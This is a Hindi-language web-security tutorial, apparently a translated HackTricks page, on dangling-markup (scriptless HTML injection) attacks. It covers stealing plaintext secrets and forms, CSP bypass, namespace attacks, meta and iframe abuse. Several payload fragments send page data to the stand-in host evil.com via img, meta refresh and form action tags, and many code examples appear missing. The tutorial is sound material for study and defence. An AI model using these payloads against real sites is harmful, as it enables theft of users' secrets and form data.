Dangling Markup - HTML scriptless injection
सारांश
यह तकनीक उपयोगकर्ता से जानकारी निकालने के लिए उपयोग किया जा सकता है जब एक HTML इंजेक्शन पाया जाता है। यह बहुत उपयोगी है अगर आप किसी XSS को एक्सप्लॉइट करने का कोई तरीका नहीं मिलता है लेकिन आप कुछ HTML टैग्स इंजेक्ट कर सकते हैं। यह उपयोगी है अगर कुछ रहस्य साफ पाठ में सहेजा गया है और आप उसे उपभोक्ता से बाहर ले जाना चाहते हैं, या अगर आप किसी स्क्रिप्ट का निष्पादन गलत दिखाना चाहते हैं।
कई तकनीकें यहाँ टिप्पणी की गई हैं जो कुछ सामग्री सुरक्षा नीति को उलटने के लिए उपयोग की जा सकती हैं (html टैग्स, CSS, http-meta टैग्स, फॉर्म्स, बेस...).
मुख्य अनुप्रयोग
साफ पाठ रहस्य चुराना
यदि आप <img src='http://evil.com/log.cgi?
इंजेक्ट करते हैं तो जब पृष्ठ लोड होता है तो पीड़ित आपको इंजेक्ट किए गए img
टैग और कोड के बीच कोड सभी को भेजेगा। यदि उस टुकड़े में कोई रहस्य है, तो आप उसे चुरा लेंगे (आप एक डबल कोट का उपयोग करके भी वही काम कर सकते हैं, देखें कौन सा अधिक दिलचस्प हो सकता है)।
यदि img
टैग मना है (उदाहरण के लिए CSP के कारण) तो आप <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
का उपयोग भी कर सकते हैं।
नोट करें कि Chrome HTTP URLs को "<" या "\n" के साथ ब्लॉक करता है, इसलिए आप "ftp" जैसे अन्य प्रोटोकॉल स्कीम का प्रयास कर सकते हैं।
आप CSS @import
का दुरुपयोग भी कर सकते हैं (जो एक ";" तक कोड सभी को भेजेगा)।
आप यहाँ भी <table
का उपयोग कर सकते हैं:
आप एक <base
टैग भी डाल सकते हैं। सभी जानकारी उस समय तक भेजी जाएगी जब तक उद्धरण बंद नहीं हो जाता है लेकिन इसमें कुछ उपयोगकर्ता अंतर्क्रिया की आवश्यकता होती है (उपयोगकर्ता को किसी लिंक पर क्लिक करना होगा, क्योंकि बेस टैग ने लिंक द्वारा संकेतित डोमेन बदल दिया होगा):
फॉर्म चुराना
तो, वे फॉर्म जो डेटा को पथ पर भेजते हैं (जैसे <form action='update_profile.php'>
) वे डेटा को दुर्भाग्यपूर्ण डोमेन पर भेजेंगे।
फॉर्म चुराना 2
एक फॉर्म हेडर सेट करें: <form action='http://evil.com/log_steal'>
यह अगले फॉर्म हेडर को ओवरराइट करेगा और फॉर्म से सभी डेटा को हमलावर को भेज दिया जाएगा।
फॉर्म चुराना 3
बटन फॉर्म की जानकारी को भेजने वाले URL को बदल सकता है "formaction" विशेषता के साथ:
स्पष्ट पाठ रहस्य चुराना 2
नवीनतम उल्लिखित तकनीक का उपयोग करके फॉर्म चुराने के लिए (नए फॉर्म हेडर को इंजेक्ट करना) आप फिर एक नया इनपुट फील्ड इंजेक्ट कर सकते हैं:
और यह इनपुट फ़ील्ड अपने डबल कोट और अगले डबल कोट के बीच का सभी सामग्री शामिल करेगा। यह हमला "स्पष्ट पाठ रहस्य चुराना" को "फॉर्म2 चुराना" के साथ मिलाता है।
आप एक फॉर्म और <option>
टैग इंजेक्ट करके एक ही चीज कर सकते हैं। एक बंद </option>
मिलने तक सभी डेटा भेजा जाएगा:
फॉर्म पैरामीटर इंजेक्शन
आप एक फॉर्म का पथ बदल सकते हैं और नए मान डाल सकते हैं ताकि एक अप्रत्याशित क्रिया किया जाए:
नोस्क्रिप्ट के माध्यम से स्पष्ट पाठिक रहस्य चुराना
<noscript></noscript>
एक टैग है जिसकी सामग्री को इंटरप्रिट किया जाएगा अगर ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता है (आप chrome://settings/content/javascript में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)।
एक तरीका वेब पृष्ठ की सामग्री को निष्क्रिय करने के बिंदु से हमले के बाद हमलावर नियंत्रित साइट के लिए नीचे तक निष्क्रिय करने के लिए यह होगा:
CSP को उपयोगकर्ता संवाद के साथ छलकरना
इस portswiggers अनुसंधान से आप सीख सकते हैं कि सबसे अधिक CSP प्रतिबंधित वातावरण से भी कुछ उपयोगकर्ता संवाद के साथ अभी भी डेटा निकाल सकते हैं। इस अवसर में हम पेलोड का उपयोग करेंगे:
Note करें कि आप विक्टिम से कहेंगे कि वह एक लिंक पर क्लिक करें जो उसे आपके द्वारा नियंत्रित पेलोड पर रीडायरेक्ट करेगा। यह ध्यान दें कि base
टैग के अंदर target
विशेषता अगले एकल उद्धरण तक HTML सामग्री शामिल करेगी। इससे होगा कि जब लिंक पर क्लिक किया जाएगा तो window.name
का मान वह सभी HTML सामग्री होगा। इसलिए, जैसे ही विक्टिम लिंक पर क्लिक करके एक्सेस कर रहा है, आप उस window.name
तक पहुंच सकते हैं और उस डेटा को एक्सफिल्ट्रेट कर सकते हैं:
भ्रामक स्क्रिप्ट वर्कफ़्लो 1 - HTML नेमस्पेस हमला
HTML में एक नया टैग डालें जिसमें एक आईडी होगा जो अगले टैग को ओवरराइट करेगा और एक मान जो स्क्रिप्ट के फ़्लो को प्रभावित करेगा। इस उदाहरण में आप चुन रहे हैं कि जिसके साथ जानकारी साझा की जाएगी:
गुमराह स्क्रिप्ट वर्कफ़्लो 2 - स्क्रिप्ट नेमस्पेस हमला
HTML टैग डालकर जावास्क्रिप्ट नेमस्पेस के अंदर वेरिएबल बनाएं। फिर, यह वेरिएबल एप्लिकेशन के फ्लो को प्रभावित करेगा:
JSONP का दुरुपयोग
यदि आपको JSONP इंटरफेस मिलता है तो आप किसी भी डेटा के साथ किसी भी फ़ंक्शन को कॉल कर सकते हैं:
या आप यहाँ कुछ जावास्क्रिप्ट को क्रियान्वित करने की कोशिश कर सकते हैं:
आईफ्रेम दुरुपयोग
एक बच्चा दस्तावेज़ के पास यह क्षमता होती है कि वह अपने माता-पिता की location
संपत्ति को देख सकता है और संशोधित कर सकता है, यहां तक कि यह क्रॉस-स्थिति में भी हो सकता है। इससे एक आईफ्रेम में एक स्क्रिप्ट को समामिल करने की अनुमति होती है जो ग्राहक को किसी भी पृष्ठ पर पुनर्निर्देशित कर सकता है:
इसे इस तरह से कम किया जा सकता है: sandbox=' allow-scripts allow-top-navigation'
एक आईफ्रेम को भी दूसरे पेज से संवेदनशील जानकारी लीक करने के लिए दुरुपयोग किया जा सकता है आईफ्रेम नाम विशेषता का उपयोग करके। यह इसलिए है क्योंकि आप एक ऐसा आईफ्रेम बना सकते हैं जो खुद को आईफ्रेम करता है जो HTML इन्जेक्शन का दुरुपयोग करता है जिससे संवेदनशील जानकारी आईफ्रेम नाम विशेषता के अंदर प्रकट होती है और फिर प्रारंभिक आईफ्रेम से उस नाम तक पहुंचकर उसे लीक कर सकते हैं।
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta दुरुपयोग
आप meta http-equiv
का उपयोग करके कई क्रियाएँ कर सकते हैं जैसे कुकी सेट करना: <meta http-equiv="Set-Cookie" Content="SESSID=1">
या रीडायरेक्ट करना (इस मामले में 5 सेकंड में): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
इसे एक CSP के साथ टाला जा सकता है जो http-equiv के संबंध में है (Content-Security-Policy: default-src 'self';
, या Content-Security-Policy: http-equiv 'self';
)
नया <portal HTML टैग
आप <portal टैग के उदाहरणीय सुरक्षा विकल्पों पर एक बहुत रोचक शोध पा सकते हैं यहाँ।
इस लेखन के समय पर आपको Chrome में पोर्टल टैग को सक्षम करना होगा chrome://flags/#enable-portals
अन्यथा यह काम नहीं करेगा।
HTML लीक्स
HTML में कनेक्टिविटी लीक करने के सभी तरीके Dangling Markup के लिए उपयोगी नहीं होंगे, लेकिन कभी-कभी यह मदद कर सकते हैं। यहां चेक करें: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-लीक्स
यह डैंगलिंग मार्कअप और XS-लीक्स के बीच मिश्रण है। एक ओर यह विकल्प हमें HTML इंजेक्शन (लेकिन नहीं JS) करने की अनुमति देता है, जो हमारे हमले की जड़ से समान मूल की पृष्ठ को। दूसरी ओर हम वहाँ हम HTML इंजेक्ट कर सकते हैं, उस पृष्ठ पर हमला नहीं करेंगे, जहाँ हम HTML इंजेक्ट कर सकते हैं।
pageSS-LeaksXS-सर्च/XS-लीक्स
XS-सर्च क्रॉस-ऑरिजिन जानकारी को बाहर निकालने के लिए उन्हें साइड चैनल हमलों का दुरुपयोग करने के लिए उन्मुख हैं। इसलिए, यह Dangling Markup से एक भिन्न तकनीक है, हालांकि, कुछ तकनीकों में HTML टैगों का समावेश किया जाता है (JS निष्पादन के साथ और बिना), जैसे CSS इंजेक्शन या Lazy Load Images।
pageXS-Search/XS-Leaksब्रूट-फोर्स डिटेक्शन सूची
संदर्भ
Last updated